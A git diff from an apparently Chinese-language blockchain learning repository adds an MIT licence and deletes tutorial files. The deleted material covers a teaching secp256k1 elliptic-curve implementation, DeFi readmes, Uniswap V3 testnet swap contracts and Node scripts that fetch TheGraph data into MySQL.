-
-  -- 模糊查询，查询表名类似 evt 的表
-SELECT DISTINCT(tablename) FROM pg_catalog.pg_tables
-  WHERE tablename LIKE '%evt%' and schemaname = 'uniswap_v3';
-
- select * from  uniswap_v3."NonfungibleTokenPositionManager_evt_IncreaseLiquidity" where
-   contract_address = '\xc36442b4a4522e871399cd717abdd847ab11fe88';
-```
-
-## 参考链接
-
-视频：https://www.bilibili.com/video/BV1ZK4y137Ce
-
-https://qiita.com/shooter/items/3b66fc6400bc49854ffe
-
-https://learnblockchain.cn/article/1746
-
-https://docs.duneanalytics.com/data-tables/data-tables/raw-data/ethereum-data
-
-https://duneanalytics.com/browse/queries?user_name=shooter
-
-https://app.flipsidecrypto.com/velocity
\ No newline at end of file
diff --git a/LICENSE.txt b/LICENSE.txt
new file mode 100644
index 000000000..1b7162e0a
--- /dev/null
+++ b/LICENSE.txt
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+Copyright (c) 2021-2025 liberhe, yingjingyang and other contributors
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/Learn-Crypto/ECC/ecc_secp256k1.py b/Learn-Crypto/ECC/ecc_secp256k1.py
deleted file mode 100644
index f39807f41..000000000
--- a/Learn-Crypto/ECC/ecc_secp256k1.py
+++ /dev/null
@@ -1,112 +0,0 @@
-#coding:utf-8
-
-#!/usr/bin/env python
-
-import sys
-
-if sys.version_info < (3,0):
-    print("Please use python3 version to run the code")
-    print("请使用 python3 运行代码")
-    sys.exit()
-
-# Super simple Elliptic Curve Presentation. No imported libraries, wrappers, nothing.
-# For educational purposes only.
-
-# Below are the public specs for Bitcoin's curve - the secp256k1
-
-Pcurve = 2**256 - 2**32 - 2**9 - 2**8 - 2**7 - 2**6 - 2**4 -1 # Finite field, 有限域
-# 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
-
-N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 # 群的阶
-Acurve = 0; Bcurve = 7 # 椭圆曲线的参数式. y^2 = x^3 + Acurve * x + Bcurve
-
-Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240
-# 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
-
-Gy = 32670510020758816978083085130507043184471273380659243275938904335757337482424
-# 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
-
-GPoint = (Gx, Gy) # 椭圆曲线生成点, Base point.
-
-#(Gx**3+7) % Pcurve == (Gy**2) % Pcurve, GPoint在椭圆曲线上, x/y坐标符合椭圆曲线方程
-
-h = 1 # Subgroup cofactor, 子群辅因子为1, 就不参与运算了
-
-# Pcurve, N, GPoint, secp256k1的函数式, 都是严格规定的, 严禁修改 !!!
-
-class ECC256k1:
-
-    # 扩展欧几里得算法, https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm
-    # Extended Euclidean Algorithm/'division' in elliptic curves
-    def inverse_mod(self, a, n=Pcurve):
-        lm, hm = 1, 0
-        low, high = a % n, n
-        while low > 1:
-            ratio = high //low
-            nm, new = hm - lm * ratio, high - low * ratio
-            lm, low, hm, high = nm, new, lm, low
-        return lm % n
-
-    def ECadd(self, a, b): # 椭圆曲线加法
-        LamAdd = ((b[1] - a[1]) * self.inverse_mod(b[0] - a[0], Pcurve)) % Pcurve
-
-        x = (LamAdd * LamAdd - a[0] - b[0]) % Pcurve
-        y = (LamAdd * (a[0] - x) - a[1]) % Pcurve
-        return (x,y)
-
-    def ECdouble(self, a): # 椭圆曲线倍乘
-        Lam = ((3 * a[0] * a[0] + Acurve) * self.inverse_mod((2 * a[1]), Pcurve)) % Pcurve
-
-        x = (Lam * Lam - 2 * a[0]) % Pcurve
-        y = (Lam * (a[0] - x) - a[1]) % Pcurve
-
-        return (x,y)
-
-    def EccMultiply(self, GenPoint, ScalarHex): # Double & Add. Not true multiplication
-        if ScalarHex == 0 or ScalarHex >= N: raise Exception("Invalid Scalar/Private Key")
-
-        ScalarBin = str(bin(ScalarHex))[2:]
-
-        Q = GenPoint
-        for i in range (1, len(ScalarBin)): # EC乘法转为标量乘法进行计算 减少运算量
-            Q = self.ECdouble(Q)
-
-            if ScalarBin[i] == "1":
-                Q = self.ECadd(Q, GenPoint); # print "ADD", Q[0]; print
-
-        return (Q)
-
-    def publicKey(self, privKey):
-        return self.EccMultiply(GPoint, privKey)
-
-    def compressedPubkey(self, pubKey):
-        fill = str(hex(pubKey[0])[2:]).zfill(64)
-        if pubKey[1] % 2 == 1: # If the Y value for the Public Key is odd.
-            return ("03" + fill)
-        else: # Or else, if the Y value is even.
-            return ("02" + fill)
-
-    def uncompressedPubkey(self, pubKey):
-        return ("04" + "%064x" % pubKey[0] + "%064x" % pubKey[1])
-
-
-def main():
-    priv_key = 0x1111111111111111111111111111111111111111111111111111111111111111
-
-    ecc = ECC256k1()
-
-    PublicKey = ecc.publicKey(priv_key)
-    print("私钥:")
-    print(priv_key)
-
-    print("未压缩公钥 (坐标):")
-    print(PublicKey)
-
-    print("未压缩公钥 (十六进制):")
-    print(ecc.uncompressedPubkey(PublicKey))
-
-    print("压缩公钥:")
-    print(ecc.compressedPubkey(PublicKey))
-
-if __name__ == "__main__":
-    main()
diff --git a/Learn-Crypto/ECC/readme.md b/Learn-Crypto/ECC/readme.md
deleted file mode 100644
index 4c1427947..000000000
--- a/Learn-Crypto/ECC/readme.md
+++ /dev/null
@@ -1,64 +0,0 @@
-椭圆曲线密码学（英语：Elliptic Curve Cryptography，缩写：ECC）是一种基于椭圆曲线数学的公开密钥加密算法。椭圆曲线在密码学中的使用是在1985年由Neal Koblitz和Victor Miller分别独立提出的。
-
-ECC的主要优势是它相比RSA加密算法使用较小的密钥长度并提供相当等级的安全性[1]。ECC的另一个优势是可以定义群之间的双线性映射，基于Weil对或是Tate对。
-
-比特币采用了椭圆曲线签名算法来签署交易，我们来看看椭圆曲线加密的数学原理，看看在选定了私钥之后，如何运算出公钥。
-
-## 椭圆曲线的点相加定理
-
-首先来聊聊什么是椭圆曲线，以及椭圆曲线上两点相加是一个什么概念。
-
-由方程 y² = x³+ax+b 所描述的曲线就叫做椭圆曲线 ，椭圆曲线相对于 x 轴对称，随着 a、b 取值的不同，方程对应不同的曲线。比特币使用的曲线方程是 y² = x³+7，这条曲线被命名为 secp256k1。
-
-下面就描述一下什么是椭圆曲线的点相加定理。
-
-若在椭圆曲线上选出两个点，点相加定理规定了如何得到这两个点相加的结果。首先我们要把这两个点用一条直线连接起来，那么在通常条件下可以得到这条直线与椭圆曲线相交的第三个点。然后再找到第三个点相对 x 轴的对称点，这个点也在椭圆曲线上，就是之前两点相加的结果。那么这个规则就是椭圆曲线的点相加定理。
-
-点相加定理的一种特殊情况是我们只在椭圆曲线上选出一个点 P，如果我们想得到 P+P 的结果，就需要在 P 点做椭圆曲线的切线，这样在通常条件下也可以得到这条切线和椭圆曲线的另外一个交点，找到这个交点相对 x 轴的对称点 Q，那么 `Q=P+P=2*P`。
-
-这样点相加定理就介绍完毕。
-
-## 优化点相加运算过程
-
-已知比特币的私钥 x ，要运算公钥 X，就需要用到点相加定理。具体做法就是选定一个点 P，那么 `X=x*P`。x 是一个32字节的整数，所以很可能是一个非常大的数，但是运算 `x*P` 的时候我们可以找到优化的点相加的运算过程。
-
-例如，我们要运算 `10*P` ，直观上我们会认为要进行9次点相加运算，但是实际上只需要4次，这是因为点相加满足 `n*P+r*P = (n+r)*P` 。所以，运算 `10*P` 的最快方式是分解为下面四步：
-
-```
-P+P = 2*P
-2*P+2*P = 4*P
-4*P+4*P = 8*P
-2*P+8*P=10*P
-```
-
-而对于 `x*P`，我们可以推导出这样的结论，对于任意的私钥 x，要运算出公钥 X，最多只需要进行510步的点相加运算，所以对于计算机来说并不是一个很大的计算任务。比特币对于 P 的取值是有明确规定的，在 secp256k1 曲线上， P 点的 x 坐标 和 y 坐标分别为：
-
-x 坐标：
-55066263022277343669578718895168534326250603453777594175500187360389116729240
-
-y 坐标：
-32670510020758816978083085130507043184471273380659243275938904335757337482424
-
-x 和 P 以及椭圆曲线确定之后，就可以运算 X 了。X 是椭圆曲线上的一个点，这样比特币公钥就是这个点的 x 和 y 坐标值拼接起来的整数。
-优化椭圆曲线模型
-现在遗留的问题是由于 x 取值的可能性很多，那么 `x*P` 得到的点的 x 和 y 值很可能不能被保存成一个标准的512 bit 的公钥，所以就要对我们的椭圆曲线模型做一下优化。
-
-优化方案是把椭圆曲线定义在一个有限域内，目的是要确保只有整数点，并且每个点的横纵坐标值都不会过大。具体实现请看[ecc-secp256k1.py](./ecc-secp256k1.py)
-
----
-
-参考：
-
-https://happypeter.github.io/binfo/ecdsa-math.html
-
-https://hackernoon.com/what-is-the-math-behind-elliptic-curve-cryptography-f61b25253da3
-
-https://www.youtube.com/watch?v=iB3HcPgm_FI
-
-https://github.com/wobine/blackboard101/blob/master/EllipticCurvesPart4-PrivateKeyToPublicKey.py
-
-https://eng.paxos.com/blockchain-101-foundational-math
-
-https://eng.paxos.com/blockchain-101-elliptic-curve-cryptography
-
-https://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-introduction/
diff --git a/Learn-Crypto/ECC/test.py b/Learn-Crypto/ECC/test.py
deleted file mode 100644
index 84f9412da..000000000
--- a/Learn-Crypto/ECC/test.py
+++ /dev/null
@@ -1,34 +0,0 @@
-import unittest
-from binascii import hexlify, unhexlify
-from fastecdsa import keys, curve
-from fastecdsa.encoding.sec1 import InvalidSEC1PublicKey, SEC1Encoder
-from ecc_secp256k1 import ECC256k1
-
-PRIV_KEY = 0x92c0302c1fff4679f4c98684ff368fdbe04da815e6de24d246793f5812577016
-
-pub_key = keys.get_public_key(PRIV_KEY, curve.secp256k1)
-uncompressed_pubkey = (hexlify(SEC1Encoder.encode_public_key(pub_key, compressed=False))).decode()
-compressed_pubkey = (hexlify(SEC1Encoder.encode_public_key(pub_key))).decode()
-
-print("私钥:", PRIV_KEY)
-print("公钥:" , pub_key)
-print("未压缩公钥:", uncompressed_pubkey)
-print("压缩公钥:", compressed_pubkey)
-
-ecc = ECC256k1()
-publicKey = ecc.publicKey(PRIV_KEY)
-uncompressedPubkey = ecc.uncompressedPubkey(publicKey)
-compressedPubkey = ecc.compressedPubkey(publicKey)
-
-class TestEccSecp256k1(unittest.TestCase):
-
-    def test_uncompressed_pubkey(self):
-        self.assertEqual(uncompressedPubkey, uncompressed_pubkey, "未压缩公钥不相等")
-
-    def test_compressed_pubkey(self):
-        self.assertEqual(compressedPubkey, compressed_pubkey, "压缩公钥不相等")
-
-if __name__ == '__main__':
-    unittest.main()
-
-# https://github.com/AntonKueltz/fastecdsa
diff --git a/Learn-Crypto/PLONK/readme.md b/Learn-Crypto/PLONK/readme.md
deleted file mode 100644
index 192175d3b..000000000
--- a/Learn-Crypto/PLONK/readme.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# PLONK zksnark算法
-## 参考链接
-http://www.cxyzjd.com/article/weixin_43179764/112861106
\ No newline at end of file
diff --git a/Learn-DAO-Aragon/readme.md b/Learn-DAO-Aragon/readme.md
deleted file mode 100644
index 87418deab..000000000
--- a/Learn-DAO-Aragon/readme.md
+++ /dev/null
@@ -1 +0,0 @@
-## Learn Dao
\ No newline at end of file
diff --git a/Learn-DEFI-Compound/readme.md b/Learn-DEFI-Compound/readme.md
deleted file mode 100644
index 57f54b40c..000000000
--- a/Learn-DEFI-Compound/readme.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# Compound
-
-是一个以太坊上的货币市场，一个任何用户、机构和 dApps 都可以使用的链上账本。它提供了存币和借币的功能，就像一个银行，用户可以存币获的利息收益，或进行抵押借币。在实现原理上，Compound 的帐本模型也与银行类似，并遵循了国际会计准则。
-基础特性：
-● 资金池
-● 基于供需法则，由算法生成利率
-● 浮动利率，无需协商
-● 完全透明的代币余额信息，记录所有历史利率
-
-利率模型：
-U = 借款 /（ 现金 + 借款 ）
-借款利率 = 10% + U * 30%
-存款利率 = 借款利率 * U *（ 1 - S ）
-
-
-## dao治理
-
-## 参考链接
-https://learnblockchain.cn/article/1357 代理投票
-https://medium.com/coinmonks/math-in-solidity-part-4-compound-interest-512d9e13041b 
-https://github.com/compound-developers/compound-governance-examples
-https://medium.com/steaker-com/defi-%E7%9A%84%E4%B8%96%E7%95%8C-compound-%E5%AE%8C%E5%85%A8%E8%A7%A3%E6%9E%90-%E5%88%A9%E7%8E%87%E6%A8%A1%E5%9E%8B%E7%AF%87-95e9b303c284
-https://medium.com/steaker-com/defi-%E7%9A%84%E4%B8%96%E7%95%8C-compound-%E5%AE%8C%E5%85%A8%E8%A7%A3%E6%9E%90-%E6%96%B0%E7%89%88-dai-%E5%88%A9%E7%8E%87%E7%AF%87-f72bae7a54f6
-https://github.com/codenamejason/compound-supply-examples/tree/master/solidity-examples
\ No newline at end of file
diff --git a/Learn-DEFI-Curve-V2/readme.md b/Learn-DEFI-Curve-V2/readme.md
deleted file mode 100644
index 9d4e6386c..000000000
--- a/Learn-DEFI-Curve-V2/readme.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# Curve V2
-
-
-## 参考链接
-https://curve.fi/files/crypto-pools-paper.pdf
-https://imtoken.fans/t/topic/16656/4
diff --git a/Learn-DEFI-Uniswap-V2/readme.md b/Learn-DEFI-Uniswap-V2/readme.md
deleted file mode 100644
index 1945ee0d2..000000000
--- a/Learn-DEFI-Uniswap-V2/readme.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# Uniswap V2
-  uniswap 代码
-
-
-
-## 参考链接
-https://www.youtube.com/watch?v=U3fTTqHy7F4
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/contract/test.sol b/Learn-DEFI-Uniswap-V3/contract/test.sol
deleted file mode 100644
index b8feccb4c..000000000
--- a/Learn-DEFI-Uniswap-V3/contract/test.sol
+++ /dev/null
@@ -1,69 +0,0 @@
-
-
-function convertEthToExactDai(uint256 daiAmount) external payable {
-    require(daiAmount > 0, "Must pass non 0 DAI amount");
-    require(msg.value > 0, "Must pass non 0 ETH amount");
-
-    uint256 deadline = block.timestamp + 15; // using 'now' for convenience, for mainnet pass deadline from frontend!
-    address tokenIn = WETH9;
-    address tokenOut = multiDaiKovan;
-    uint24 fee = 3000;
-    address recipient = msg.sender;
-    uint256 amountOut = daiAmount;
-    uint256 amountInMaximum = msg.value;
-    uint160 sqrtPriceLimitX96 = 0;
-
-    ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams(
-    tokenIn,
-    tokenOut,
-    fee,
-    recipient,
-    deadline,
-    amountOut,
-    amountInMaximum,
-    sqrtPriceLimitX96
-    );
-
-    uniswapRouter.exactOutputSingle{ value: msg.value }(params);
-    uniswapRouter.refundETH();
-
-    // refund leftover ETH to user
-    (bool success,) = msg.sender.call{ value: address(this).balance }("");
-    require(success, "refund failed");
-}
-
-function getEstimatedETHforDAI(uint daiAmount) external payable returns (uint256) {
-    address tokenIn = WETH9;
-    address tokenOut = multiDaiKovan;
-    uint24 fee = 500;
-    uint160 sqrtPriceLimitX96 = 0;
-    return quoter.quoteExactOutputSingle(
-    tokenIn,
-    tokenOut,
-    fee,
-    daiAmount,
-    sqrtPriceLimitX96
-    );
-
-}
-
-//https://github.com/Uniswap/uniswap-v3-periphery/blob/9ca9575d09b0b8d985cc4d9a0f689f7a4470ecb7/test/shared/path.ts
-function encodePath(tokenAddresses, fees) {
-    const FEE_SIZE = 3
-
-    if (path.length != fees.length + 1) {
-    throw new Error('path/fee lengths do not match')
-    }
-
-    let encoded = '0x'
-    for (let i = 0; i < fees.length; i++) {
-    // 20 byte encoding of the address
-    encoded += path[i].slice(2)
-    // 3 byte encoding of the fee
-    encoded += fees[i].toString(16).padStart(2 * FEE_SIZE, '0')
-    }
-    // encode the final token
-    encoded += path[path.length - 1].slice(2)
-
-    return encoded.toLowerCase()
-}
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/contract/uniswapv3.sol b/Learn-DEFI-Uniswap-V3/contract/uniswapv3.sol
deleted file mode 100644
index 4efe58adb..000000000
--- a/Learn-DEFI-Uniswap-V3/contract/uniswapv3.sol
+++ /dev/null
@@ -1,99 +0,0 @@
-// SPDX-License-Identifier: MIT
-pragma solidity =0.7.6;
-pragma abicoder v2;
-
-import "https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/interfaces/ISwapRouter.sol";
-import "https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/interfaces/IQuoter.sol";
-
-interface IUniswapRouter is ISwapRouter {
-    function refundETH() external payable;
-}
-
-contract Uniswap3 {
-    IUniswapRouter public constant uniswapRouter = IUniswapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
-    IQuoter public constant quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);
-    address private constant multiDaiKovan = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa;
-    address private constant WETH9 = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
-
-    function convertExactEthToDai() external payable {
-        require(msg.value > 0, "Must pass non 0 ETH amount");
-
-        uint256 deadline = block.timestamp + 15; // using 'now' for convenience, for mainnet pass deadline from frontend!
-        address tokenIn = WETH9;
-        address tokenOut = multiDaiKovan;
-        uint24 fee = 3000;
-        address recipient = msg.sender;
-        uint256 amountIn = msg.value;
-        uint256 amountOutMinimum = 1;
-        uint160 sqrtPriceLimitX96 = 0;
-
-        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams(
-            tokenIn,
-            tokenOut,
-            fee,
-            recipient,
-            deadline,
-            amountIn,
-            amountOutMinimum,
-            sqrtPriceLimitX96
-        );
-
-        uniswapRouter.exactInputSingle{ value: msg.value }(params);
-        uniswapRouter.refundETH();
-
-        // refund leftover ETH to user
-        (bool success,) = msg.sender.call{ value: address(this).balance }("");
-        require(success, "refund failed");
-    }
-
-    function convertEthToExactDai(uint256 daiAmount) external payable {
-        require(daiAmount > 0, "Must pass non 0 DAI amount");
-        require(msg.value > 0, "Must pass non 0 ETH amount");
-
-        uint256 deadline = block.timestamp + 15; // using 'now' for convenience, for mainnet pass deadline from frontend!
-        address tokenIn = WETH9;
-        address tokenOut = multiDaiKovan;
-        uint24 fee = 3000;
-        address recipient = msg.sender;
-        uint256 amountOut = daiAmount;
-        uint256 amountInMaximum = msg.value;
-        uint160 sqrtPriceLimitX96 = 0;
-
-        ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams(
-            tokenIn,
-            tokenOut,
-            fee,
-            recipient,
-            deadline,
-            amountOut,
-            amountInMaximum,
-            sqrtPriceLimitX96
-        );
-
-        uniswapRouter.exactOutputSingle{ value: msg.value }(params);
-        uniswapRouter.refundETH();
-
-        // refund leftover ETH to user
-        (bool success,) = msg.sender.call{ value: address(this).balance }("");
-        require(success, "refund failed");
-    }
-
-    // do not used on-chain, gas inefficient!
-    function getEstimatedETHforDAI(uint daiAmount) external payable returns (uint256) {
-        address tokenIn = WETH9;
-        address tokenOut = multiDaiKovan;
-        uint24 fee = 3000;
-        uint160 sqrtPriceLimitX96 = 0;
-
-        return quoter.quoteExactOutputSingle(
-            tokenIn,
-            tokenOut,
-            fee,
-            daiAmount,
-            sqrtPriceLimitX96
-        );
-    }
-
-    // important to receive ETH
-    receive() payable external {}
-}
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/extract-graphdata/README.md b/Learn-DEFI-Uniswap-V3/extract-graphdata/README.md
deleted file mode 100644
index 1960aa036..000000000
--- a/Learn-DEFI-Uniswap-V3/extract-graphdata/README.md
+++ /dev/null
@@ -1,66 +0,0 @@
-
-## 简介
-在 TheGraph 成功创建 SubGraph 后，我们就可以去抓取相应的数据，并存入本地数据库中，以便后续进行加工处理
-
-## 相关依赖说明
-本样例测试通过环境如下:
-- mysql : 8.0.22
-- node  : v14.16.1
-
-## 操作流程
-- 启动 mysql
-在此假设使用的是本地 mysql, 执行后续流程前需要启动本地 mysql 
-
-- 创建表
-
-在 mysql 中执行如下的 sql 语句
-
-```
-CREATE TABLE IF NOT EXISTS `swap_positions`(
-   `id` INT UNSIGNED,
-   `owner` VARCHAR(50) NOT NULL,
-   `liquidity` INT UNSIGNED,
-   `pool_createdAtTimestamp` INT UNSIGNED,
-   `pool_id` VARCHAR(50) NOT NULL,
-   `depositedToken0` double(30,20),
-   `depositedToken1` double(30,20),
-   `token0_symbol` VARCHAR(10) NOT NULL,
-   `token1_symbol` VARCHAR(10) NOT NULL,
-   `withdrawnToken0` double(30,20),
-   `withdrawnToken1` double(30,20),
-   PRIMARY KEY ( `id` )
-)ENGINE=InnoDB DEFAULT CHARSET=utf8;
-```
-
-- 安装相关依赖
-```
-yarn 
-```
-
-- 修改 mysql 连接配置
-修改 fetch_data.js 脚本中 connection  的连接配置，包括 user, password, database
-
-- 获取数据
-```
-node fetch_data.js
-```
-
-- 查看数据
-登录 mysql 数据库，执行如下 sql 语句，查看数据是否保存成功
-```
-select * from swap_positions \G;
-```
-
-- graph 事件订阅
-```
-node subscription.js
-```
-
-- 触发事件，观察订阅结果
-触发对应地址上的事件，观察输出结果
-
-## 参考文档
-https://blog.csdn.net/luxinghong199106/article/details/103471633  
-https://thegraph.com/docs/graphql-api#pagination 
-https://www.freecodecamp.org/news/get-started-with-graphql-and-nodejs/ 
-https://github.com/hasura/nodejs-graphql-subscriptions-boilerplate  
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/extract-graphdata/fetch_data.js b/Learn-DEFI-Uniswap-V3/extract-graphdata/fetch_data.js
deleted file mode 100644
index 35af7c717..000000000
--- a/Learn-DEFI-Uniswap-V3/extract-graphdata/fetch_data.js
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
-There are two way to fetch data from TheGraph
-*/
-const { execute, makePromise } = require('apollo-link');
-const { HttpLink } = require('apollo-link-http');
-const gql = require('graphql-tag');
-const fetch = require('node-fetch');
-const mysql  = require('mysql');  
- 
-const query = gql`query($input: String){
-    positions(where : { owner: $input }) {
-        id
-        owner
-        liquidity
-        pool {
-          createdAtTimestamp
-          id
-        }
-        depositedToken0
-        depositedToken1
-        token0{
-          symbol
-        }
-        token1 {
-          symbol
-        }
-        withdrawnToken0
-        withdrawnToken1
-    }
-}`;
-
-const variables = {
-    'input': '0x4247269401bcb49d8455e275d70c25be9e2f9285'
-};
-  
-
-const uri = 'https://api.thegraph.com/subgraphs/name/benesjan/uniswap-v3-subgraph';
-
-
-const link = new HttpLink({ uri, fetch });
-
-const operation = {
-    query: query,
-    variables, //optional
-    // operationName: {}, //optional
-    // context: {}, //optional
-    // extensions: {}, //optional
-  };
-
-
-// Get data, and insert into mysql
-let connection = mysql.createConnection({
-  host : 'localhost',
-  user : 'root', 
-  password : 'Aa12345!',
-  database : 'test'
-});
-
-connection.connect(function(err) {
-  if (err) {
-    console.error('连接失败: ' + err.stack);
-    return;
-  }
-  console.log('连接成功 id ' + connection.threadId);
-});
-
-// The first way to get data, we can use execute with operation
-execute(link, operation).subscribe({
-    next: res => {
-        let obj = res.data.positions
-        Object.keys(obj).forEach(v => {
-          connection.query('INSERT INTO swap_positions(id, owner,liquidity,pool_createdAtTimestamp,pool_id,depositedToken0, \
-            depositedToken1, token0_symbol, token1_symbol, withdrawnToken0, withdrawnToken1) \
-            VALUES(?, ?,?,?,?,?,?,?,?,?,?)', [parseInt(obj[v].id), obj[v].owner, parseInt(obj[v].liquidity), parseInt(obj[v].pool.createdAtTimestamp),obj[v].pool.id, parseFloat(obj[v].depositedToken0), parseFloat(obj[v].depositedToken1), obj[v].token0.symbol, obj[v].token1.symbol, parseFloat(obj[v].withdrawnToken0), parseFloat(obj[v].withdrawnToken1)], (err, results) => {
-            if(err){
-                console.log(err);
-            }
-            console.log(results);
-          })
-          console.log(typeof obj[v].id)
-        })
-    console.log(res.data)
-    connection.end();
-
-    },
-    error: error => console.log(`received error ${error}`),
-    complete: () => console.log(`complete`),
-});
-
-/*
-Second one, we can fetch data directly
-*/
-
-/* async function fetchData() {
-    const response = await fetch(uri, {
-      method: 'POST',
-      headers: {
-        'content-type': 'application/json',
-      },
-      body: JSON.stringify({
-        query: `
-        query { factories(first: 5) {
-          id
-          poolCount
-          txCount
-          totalVolumeUSD
-        } }
-        `,
-      }),
-    });
-  
-    const responseBody = await response.json();
-    console.log(JSON.stringify(responseBody));
-  }
-  
-  fetchData(); */
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/extract-graphdata/package.json b/Learn-DEFI-Uniswap-V3/extract-graphdata/package.json
deleted file mode 100644
index dc2dffbd3..000000000
--- a/Learn-DEFI-Uniswap-V3/extract-graphdata/package.json
+++ /dev/null
@@ -1,24 +0,0 @@
-{
-  "name": "Example01-extract-graphdata",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "apollo-link": "^1.2.14",
-    "apollo-link-http": "^1.5.17",
-    "apollo-link-ws": "^1.0.20",
-    "graphql": "^15.5.1",
-    "graphql-tag": "^2.12.4",
-    "mysql": "^2.18.1",
-    "node-fetch": "^2.6.1",
-    "subscriptions-transport-ws": "^0.9.19",
-    "urql": "^2.0.4",
-    "ws": "^7.5.0"
-  }
-}
diff --git a/Learn-DEFI-Uniswap-V3/extract-graphdata/subscription.js b/Learn-DEFI-Uniswap-V3/extract-graphdata/subscription.js
deleted file mode 100644
index 10252c3c3..000000000
--- a/Learn-DEFI-Uniswap-V3/extract-graphdata/subscription.js
+++ /dev/null
@@ -1,58 +0,0 @@
-const { execute } = require('apollo-link');
-const { WebSocketLink } = require('apollo-link-ws');
-const { SubscriptionClient } = require('subscriptions-transport-ws');
-const ws = require('ws');
-const gql = require('graphql-tag');
-
-
-const getWsClient = function(wsurl) {
-  const client = new SubscriptionClient(
-    wsurl, {reconnect: true}, ws
-  );
-  return client;
-};
-
-const createSubscriptionObservable = (wsurl, query, variables) => {
-  const link = new WebSocketLink(getWsClient(wsurl));
-  return execute(link, {query: query, variables: variables});
-};
-
-
-// A subscription query to get changes for author with parametrised id 
-// using $id as a query variable
-const SUBSCRIBE_QUERY = gql`subscription($input: String) {
-    positions(where : { owner: $input }) {
-        id
-        owner
-        liquidity
-        pool {
-          createdAtTimestamp
-          id
-        }
-        depositedToken0
-        depositedToken1
-        token0{
-          symbol
-        }
-        token1 {
-          symbol
-        }
-        withdrawnToken0
-        withdrawnToken1
-    }
-}
-`;
-
-const subscriptionClient = createSubscriptionObservable(
-  'wss:////api.thegraph.com/subgraphs/name/benesjan/uniswap-v3-subgraph', // GraphQL endpoint
-  SUBSCRIBE_QUERY,                                       // Subscription query
-  {'input': '0x4247269401bcb49d8455e275d70c25be9e2f9285'}                                                // Query variables
-);
-var consumer = subscriptionClient.subscribe(eventData => {
-  // Do something on receipt of the event
-  console.log("Received event: ");
-  console.log(JSON.stringify(eventData, null, 2));
-}, (err) => {
-  console.log('Err');
-  console.log(err);
-});
diff --git a/Learn-DEFI-Uniswap-V3/extract-graphdata/yarn.lock b/Learn-DEFI-Uniswap-V3/extract-graphdata/yarn.lock
deleted file mode 100644
index cdf57203e..000000000
--- a/Learn-DEFI-Uniswap-V3/extract-graphdata/yarn.lock
+++ /dev/null
@@ -1,240 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@graphql-typed-document-node/core@^3.1.0":
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/@graphql-typed-document-node/core/-/core-3.1.0.tgz#0eee6373e11418bfe0b5638f654df7a4ca6a3950"
-  integrity sha512-wYn6r8zVZyQJ6rQaALBEln5B1pzxb9shV5Ef97kTvn6yVGrqyXVnDqnU24MXnFubR+rZjBY9NWuxX3FB2sTsjg==
-
-"@urql/core@^2.1.4":
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/@urql/core/-/core-2.1.4.tgz#b1fb487e9b830360192b127a26f505994cef474a"
-  integrity sha512-OmlS9DpVZmP3+dk6iwevISkp4byHenfMlbSB7NB0xNLRSGSQ35/SCJqlynpGrcVg3LKQO/Y5fdBCbHhGanJQQQ==
-  dependencies:
-    "@graphql-typed-document-node/core" "^3.1.0"
-    wonka "^4.0.14"
-
-"@wry/equality@^0.1.2":
-  version "0.1.11"
-  resolved "https://registry.yarnpkg.com/@wry/equality/-/equality-0.1.11.tgz#35cb156e4a96695aa81a9ecc4d03787bc17f1790"
